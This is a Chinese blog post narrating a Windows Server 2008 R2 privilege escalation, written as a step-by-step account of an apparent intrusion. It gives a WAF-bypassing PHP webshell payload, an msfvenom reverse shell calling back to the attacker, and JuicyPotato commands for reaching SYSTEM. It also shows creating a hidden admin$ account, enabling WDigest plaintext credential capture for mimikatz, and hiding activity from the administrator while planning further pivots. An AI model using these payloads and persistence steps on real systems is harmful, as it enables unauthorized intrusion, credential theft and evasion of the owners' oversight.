2008 r2 server 提权_某次Windows渗透提权过程

0x01物色目标

大多数站点出于安全考虑,都会在robots.txt文件中屏蔽掉搜索引擎对敏感路径页面的爬取。robots文件里的敏感路径在针对一个目标渗透时可以帮助我们识别出重要页面,但它的存在不利于自动化工具的批量采集,所以Censys、Shodan、Zoomeye就不会那么灵敏了。

首先在Censys中利用敏感路经找到了一堆服务器,挑了几个看起来顺眼的利用某代码执行漏洞写入WebShell

前几个站基本没遇到啥阻碍,遇到的宝塔WAF用file_put_con%00tents这种就可以绕过,有安全狗的也都是很久没更新过的免费版,随便找了个库存里的就过了:

file_put_contents(%27test.php%27,%27%3C?php%20function%20a(){%20return%20%22assert%22;%20}%20$a=a();%20$aa%20=%20array($_POST[%221%22]);%20call_user_func_array($a,$a=$aa);%20?%3E%27);

蚁剑连上WebShell后Open Terminal Here,whoami看了下基本都是

nt authority\system

权限,netstat -nao和net view /domain也没看出有内网环境,于是交SRC草草了事

0x02异端出现

然后本文的主角就登场了,执行whoami发现是iis apppool\xxx,只能读到WebShell所在子目录下的文件,其它盘符及Web根目录均无权访问,phpinfo中open_basedir为no value,所以问题出在账户权限上

上传一个去后门网红大马,二话不说就准备MySQL提权,然后反应过来现在根本读不到数据库的配置文件,完全不知道库名和帐号密码,而且net user看到有一个单独的mysql账户,估计多半也是低权限= =

接着开始觊觎反弹提权。。。nc能连上但是没回显,php的whoami回显回来并没有卵用。。。

nc -vv -l 12388Listening on [0.0.0.0] (family 0, port 12388)Connection from 103.xxx.xx.xxx 55436 received!*********************************************is ok*********************************************[Shell]> whoamiShellresult:[Shell]> ^Croot@:~# nc -vv -l 12388Listening on [0.0.0.0] (family 0, port 12388)Connection from 103.xxx.xx.xxx 56873 received!nc -vv -l 12388Listening on [0.0.0.0] (family 0, port 12388)Connection from 103.xxx.xx.xxx 56873 received!----------------------PHP反弹连接----------------------whoamiiis apppool

继续尝试利用操作系统缺失补丁提权,systeminfo获取补丁信息并存入本地的sysinfo.txt中

运行windows-exploit-suggester.py快速获取缺失补丁及对应漏洞情况

先尝试了MSF中有exploit的几个洞

# 生成并上传反弹shellmsfvenom -p windows/shell/reverse_tcp lhost=IP lport=12388 -a x86 --platform win -f exe -o a.exe# 监听目标端口msf5 > use exploit/multi/handlerset lhost IPset lport 12388run# WebShell中运行a.exe,捕获会话后输入backgrounduse exploit/windows/local/ms16_032_secondary_logon_handle_privescset session 1run

等了它一分钟若有其事地执行完后告诉我失败了= =,其它几个exploit一样都是失败

[*] Exploit completed, but no session was created.

继续尝试了K8tools的iislpe也未成功

走投无路想起了刚才出现过的

MS16-075: Security Update for Windows SMB Server (3164038)

跟着链接走

https://github.com/foxglovesec/RottenPotato

瞟了几眼没看懂原理,照作者提示继续找到新的替代品

https://github.com/breenmachine/RottenPotatoNG

手边并没有VS的编译环境,在项目中也没找到合适的编译好的exe,想起了juicy-potato,按照 三好学生 大神的文章开始尝试

whoami /priv拒绝访问。特权信息----------------------特权名 描述 状态============================= ==================== ======SeAssignPrimaryTokenPrivilege 替换一个进程级令牌 已禁用SeIncreaseQuotaPrivilege 为进程调整内存配额 已禁用SeAuditPrivilege 生成安全审核 已禁用SeChangeNotifyPrivilege 绕过遍历检查 已启用SeImpersonatePrivilege 身份验证后模拟客户端 已启用SeCreateGlobalPrivilege 创建全局对象 已启用SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}[+] authresult 0{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHHORITY\SYSTEM[+] CreateProcessWithTokenW OK

看起来像是成功了的样子,但蚁剑里whoami后依然是iis,尝试用msf的shell执行也无济于事

0x03柳暗花明

俗话说世上无难事只要肯放弃攀登,终于在土司找到了大佬改写过的WebShell版烂土豆,上传到服务器后执行:

JuicyPotato.exe -p whoami�ܾ����ʡ�JuicyPotato modified by skyer v0.1[+] Testing {4991d34b-80a1-4291-83b6-3328366b9097} 23573......[+] Auth result 0[+] CLSID:{4991d34b-80a1-4291-83b6-3328366b9097}; Privilege:NT AUTHORITY\SYSTEM[+] Launching server JuicyPotato.exe -s 4700[+] SeImpersonate enabled![+] CommandThread launched![+] CreateProcessWithTokenW OK[+] Waiting command server...[*] Trying connect server 127.0.0.1:4700...[+] Command server connected!=================================nt authority\system=================================

提权成功,但蚁剑的WebShell里好像只能传一个参数?再次抱起被遗弃的msf孤儿shell

# 将password替换为满足强度要求的密码,否则需要改组策略关闭密码强度检查execute -f JuicyPotato.exe -p net user admin$ passwordexecute -f JuicyPotato.exe -p net localgroup administrators admin$ /add

为避免打草惊蛇先netstat -nao看了下,被改过的远程桌面端口处于未连接状态,管理员应该吃饭睡觉打豆豆去了,抓紧时间连上去看看

proxychains rdesktop -f 103.xxx.xx.xxx:1xxxx

redesk全屏可通过CTRL+ALT+ENTER退出

访问被丑拒,右键属性->安全->编辑->添加新用户

上传mimikatz抓管理员明文密码失败,Windows Server 2008 R2及更高版本的系统,默认配置下无法在凭据中保存明文信息,需要改注册表等待用户再次登录

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

在组策略中部署一个记录登录IP的bat

@echo offdate /t >>C:\WINDOWS\loginlog.logtime /t >>C:\WINDOWS\loginlog.lognetstat -an | find ":3389" | find "ESTABLISHED" >>C:\WINDOWS\loginlog.log

接着按照隐藏账户中所述方法,尽可能降低被发现的几率,此时对该目标机器的渗透也接近尾声,之后继续试着挖挖外连的一台mysql机器、抓到管理员密码后登录百度云看看能有更多收获没有

0x04总结

其实不论是在之前的渗透还是这次的提权过程中,很多时候陷入困境时就想着放弃算了,但大多数情况下不服输地再坚持研究一会终究能找到突破口,漏洞挖一挖总是有的。

往期精彩

感兴趣的可以点个关注!!!

关注「安全先师」

把握前沿安全脉搏


版权声明:本文为weixin_39624071原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。